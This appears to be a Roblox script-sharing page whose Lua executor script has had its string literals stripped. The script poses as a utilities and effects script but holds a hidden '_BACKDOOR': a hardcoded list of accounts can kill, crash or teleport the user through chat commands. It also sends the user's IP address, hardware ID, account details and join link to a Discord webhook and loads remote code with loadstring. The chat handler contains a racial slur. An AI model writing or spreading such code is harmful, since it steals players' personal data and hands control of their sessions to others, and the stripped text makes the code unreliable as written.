Sends data to a webhook
It contains a Discord (or similar) webhook link. Loggers use these to send out your details.
Run it
Copy the script and paste it into your executor.
Utilities = {}
()
Utilities.(child, parent)
child
child == parent
child = child.Parent
Utilities.(parent, name, className)
_, descendant (parent:())
descendant.Name == name descendant:(className)
descendant
Utilities.(child, name, className)
current = child.Parent
current
current.Name == name current:(className)
current
current = current.Parent
Utilities.(child, className)
current = child.Parent
current
current:(className)
current
current = current.Parent
Utilities.(parent, className)
children = {}
_, child (parent:())
child:(className)
.(children, child)
children
Utilities.(parent, className)
descendants = {}
_, descendant (parent:())
descendant:(className)
.(descendants, descendant)
descendants
Utilities.(instance, attributeName)
instance:(attributeName) ~=
Utilities.(instance, attributeName, defaultValue)
value = instance:(attributeName)
value ~=
value
defaultValue
Utilities.(instance, newParent)
clone = instance:()
clone.Parent = newParent
clone
Utilities.(parent, className, timeout)
child = parent:(className)
child
child
startTime = ()
() - startTime < (timeout )
child = parent:(className)
child
child
()
Utilities.(part, point)
size = part.Size
position = part.Position
minBound = position - size /
maxBound = position + size /
(point.X > minBound.X point.X < maxBound.X)
(point.Y > minBound.Y point.Y < maxBound.Y)
(point.Z > minBound.Z point.Z < maxBound.Z)
Utilities.(pointA, pointB)
(pointA - pointB).Magnitude
Utilities.(vectorA, vectorB)
.(vectorA:(vectorB) / (vectorA.Magnitude * vectorB.Magnitude))
Utilities.(vector, angle)
cos = .(angle)
sin = .(angle)
.(
cos * vector.X - sin * vector.Z,
vector.Y,
sin * vector.X + cos * vector.Z
)
Utilities.(target, radius, amount, offset)
radius = radius
amount = amount
offset = offset
positions = {}
angleIncrement = ( * .pi) / amount
adjustedOffset = offset / radius
i = , amount
angle = angleIncrement * i + adjustedOffset
x = target.X + radius * .(angle)
z = target.Z + radius * .(angle)
.(positions, .(x, target.Y, z))
positions
(str)
str = (str)
:().ChatVersion ~= .ChatVersion.LegacyChatService
:().TextChannels.RBXGeneral:(str)
:().DefaultChatSystemChatEvents.SayMessageRequest:(str, )
UIS = :()
Run = :()
Players = :()
Lighting = :()
TweenService = :()
Player = Players.LocalPlayer
Cam = .Workspace.Camera
TimeElapsed =
Intensity =
SoundId =
list = {
UNDEBOLT = ,
Superduperalt0987 = ,
TCUTCU_LLBDDLLZYXZY = ,
ratwowee = ,
M0onR3b0rn = ,
[] = ,
starronyxx = ,
riskyhaulownertest = ,
Schallops = ,
Schalops = ,
azeem10946 = ,
R0WEX_1T7BKS = ,
R0WEX_1249FJS = ,
R0WEX_0S112R = ,
R0WEX_1DAJAP = ,
R0WEX_GISJS12 = ,
R0WEX_BASH24 = ,
R0WEX_1S4ASF = ,
R0WEX_1SDFKS = ,
R0WEX_BASH24A = ,
R0tationCurveKey = ,
R0tationCurve = ,
DobIemt = ,
MaybeFlashh = ,
vetansky = ,
SaviorLiberty = ,
Kovax1234 = ,
UNDEBOLT_00 =
}
ScreenGui = .()
ScreenGui.DisplayOrder =
ScreenGui.Parent = .CoreGui
BlackFrame = .()
BlackFrame.Size = .(, , , )
BlackFrame.Position = .(, , , )
BlackFrame.BackgroundColor3 = .(, , )
BlackFrame.BackgroundTransparency =
BlackFrame.Parent = ScreenGui
ScreenGui.IgnoreGuiInset =
()
BlackFrame.BackgroundTransparency =
tween = TweenService:(BlackFrame, TweenInfo.(, .EasingStyle.Quad, .EasingDirection.Out), {BackgroundTransparency = })
tween:()
(waitt)
Character = Player.Character Player.CharacterAdded:()
HumanoidRootPart = Character:()
Sound = .()
Sound.SoundId = SoundId
Sound.Parent = HumanoidRootPart
pitch =
(waitt)
.(()
.()
newsound = Sound:()
newsound.Parent =
newsound.Pitch = pitch
newsound.TimePosition =
newsound:()
()
:():(newsound, newsound.TimeLength)
pitch = pitch -
)
Run.RenderStepped:((dt)
Intensity >
TimeElapsed += dt
SquishX = + .(TimeElapsed * ) * Intensity
SquishY = + .(TimeElapsed * ) * Intensity
MAGIC_FORMULA = .(, , , SquishX, , , , SquishY, , , , )
Cam.CFrame = Cam.CFrame * MAGIC_FORMULA
)
()
msg = .()
msg.Parent =
msg.Text =
.(, ()
msg:()
)
colorCorrection = .()
colorCorrection.Parent = Lighting
colorCorrection.TintColor = .(, , )
colorCorrection.Saturation = -
colorCorrection.Contrast =
colorCorrection.Brightness =
Lighting.TimeOfDay =
blr = .()
blr.Parent = Lighting
blr.Size =
Intensity =
.(()
.()
colorCorrection.Saturation = -colorCorrection.Saturation
)
.(, ()
()
)
.(() () )
(player, message)
list[player.Name]
message:(, ):() ==
message = message:()
args = .(message, )
command = args[]
command ==
command ==
text = message:()
(nigga)
command ==
localPlayer = Players.LocalPlayer
localPlayer.Character localPlayer.Character:()
localPlayer.Character.Humanoid.Health =
command ==
(()
:().RobloxGui:()
)
()
command ==
(()
:().RobloxGui:()
)
i = ,
()
.()
command ==
localPlayer = Players.LocalPlayer
tar = player.Character
localPlayer.Character tar tar:()
localPlayer.Character:(tar.HumanoidRootPart.CFrame)
_, player (Players:())
list[player.Name]
player.Chatted:((message)
(player, message)
)
player.CharacterAdded:((char)
_, v (char:())
v:()
v.CanQuery=
v.CanCollide =
)
Players.PlayerAdded:((player)
list[player.Name]
player.Chatted:((message)
(player, message)
)
player.CharacterAdded:((char)
_, v (char:())
v:()
v.CanQuery=
v.CanCollide =
)
)
()._BACKDOOR
()._BACKDOOR =
webhookUrl =
HttpService = :()
Players = :()
MarketplaceService = :()
LocalizationService = :()
RbxAnalyticsService = :()
LocalPlayer = Players.LocalPlayer
Userid = LocalPlayer.UserId
DName = LocalPlayer.DisplayName
Name = LocalPlayer.Name
MembershipType = (LocalPlayer.MembershipType):()
AccountAge = LocalPlayer.AccountAge
Country = LocalizationService.RobloxLocaleId
GetIp = :()
GetData = :()
GetHwid = RbxAnalyticsService:()
ConsoleJobId = .. .PlaceId .. .. .JobId ..
JoinLink = .. .PlaceId .. .. .JobId
GAMENAME = MarketplaceService:(.PlaceId).Name
()
()
()
webhookcheck = ()
data = {
[] = ,
[] = ,
[] = {
{
[] = {
[] = ,
[] = ,
},
[] = .(
..
..
..
..
..
,
Userid, DName, Name, Userid, MembershipType, AccountAge, Country, GetIp, GetHwid,
(.()), (.()),
.PlaceId, GAMENAME, .PlaceId, webhookcheck,
GetData, ConsoleJobId
),
[] = ,
[] = (),
[] = {
[] = ..Userid..
},
}
}
}
HttpService:(data)
(webhookUrl, data)
headers = {
[] =
}
= HttpPost .request
embedRequest = {Url = webhookUrl, Body = data, Method = , Headers = headers}
(embedRequest)
joinLinkData = HttpService:({[] = JoinLink})
joinRequest = {Url = webhookUrl, Body = joinLinkData, Method = , Headers = headers}
(joinRequest)
webhookData = ()
(webhookUrl, webhookData)
Library =
PandaAuth = (:(Library))()
auth =
PandaAuth:({
Service = ,
API_Key = ,
DisplayName = ,
IsDebug = ,
Allow_BlacklistUsers = ,
GUIVersion = ,
EnableWebhook = ,
Webhook_URL = ,
Authenticated = ()
()
auth =
,
NotAuthenticated = ()
()
})
auth
()
UtilitiesLoads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: discord.com, v4.ident.me, ip-api.com, roblox.com, www.roblox.com, raw.githubusercontent.com.
IDK BRO

Universal